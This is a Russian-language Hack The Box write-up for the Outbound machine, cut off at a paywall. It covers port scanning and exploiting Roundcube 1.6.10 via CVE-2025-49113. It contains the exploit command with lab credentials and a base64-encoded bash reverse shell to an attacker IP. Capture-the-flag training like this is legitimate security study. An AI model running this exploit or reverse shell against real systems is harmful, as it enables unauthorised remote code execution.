В этот раз исполь­зуем недав­нюю RCE в поч­товом кли­енте Roundcube, пос­ле чего получа­ем дос­туп к базе дан­ных и рас­шифро­выва­ем учет­ные дан­ные поль­зовате­лей. При повыше­нии при­виле­гий экс­плу­ати­руем уяз­вимость в ути­лите Below.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Outbound с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — лег­кий.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.77 outbound.htb

На этот раз, помимо IP-адре­са машины, нам так­же пре­дос­тавля­ют и учет­ные дан­ные поль­зовате­ля.

Информация о машине
Ин­форма­ция о машине

За­пус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 9.6p1;
  • 80 — веб‑сер­вер Nginx 1.24.0.

На SSH мы без учет­ных дан­ных ничего не сде­лаем, поэто­му сра­зу взгля­нем, что нам выдаст веб‑сер­вер. При перехо­де по адре­су в бра­узе­ре про­изой­дет редирект на домен mail.outbound.htb.

Ответ сервера
От­вет сер­вера

До­бавим новый под­домен в файл /etc/hosts и обно­вим стра­ницу. Нас встре­чает стра­ница авто­риза­ции Roundcube.

10.10.11.77 outbound.htb mail.outbound.htb
Форма авторизации Roundcube
Фор­ма авто­риза­ции Roundcube
 

Точка входа

Ав­торизу­емся с выдан­ными учет­ными дан­ными и пер­вым делом про­веря­ем вер­сию поч­тового кли­ента. Как показы­вает окно About, на сер­вере исполь­зует­ся Roundcube Webmail 1.6.10.

Версия почтового клиента
Вер­сия поч­тового кли­ента

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS готовые экс­пло­иты. Для начала мож­но прос­то поис­кать их в Google.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Как вид­но по пер­вым ссыл­кам, вер­сия 1.6.10 содер­жит уяз­вимость CVE-2025-49113, которая поз­воля­ет аутен­тифици­рован­ным поль­зовате­лям добить­ся уда­лен­ного выпол­нения кода через десери­али­зацию объ­ектов в PHP, пос­коль­ку в program/actions/settings/upload.php нет про­вер­ки зна­чения _from из URL.

Вос­поль­зуем­ся этим экс­пло­итом, но спер­ва на Reverse Shells Generator сге­нери­руем реверс‑шелл в фор­мате Bash (Base64).

Создание реверс-шелла
Соз­дание реверс‑шел­ла

За­тем запус­каем лис­тенер pwncat-cs -lp 4321 и выпол­няем экс­пло­ит, которо­му переда­ем сге­нери­рован­ный реверс‑шелл. В резуль­тате получа­ем сес­сию от име­ни поль­зовате­ля служ­бы веб‑сер­вера www-data.

php ./CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC80MzIxIDA+JjE= | base64 -d | bash'
Эксплуатация уязвимости
Экс­плу­ата­ция уяз­вимос­ти
Сессия www-data
Сес­сия www-data
 

Продвижение

Что­бы изме­нить кон­текст работы, нуж­но поис­кать учет­ные дан­ные. Раз на хос­те есть поч­товый сер­вер, пер­вым делом поп­робу­ем дос­тать логины и пароли поль­зовате­лей. Есть хороший шанс, что они подой­дут и для локаль­ных учет­ных записей. В слу­чае с Roundcube нач­ни с фай­ла config/config.inc.php: в нем лежат дан­ные для под­клю­чения к базе (db_dsnw), а так­же ключ шиф­рования паролей поль­зовате­лей (des_key).

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии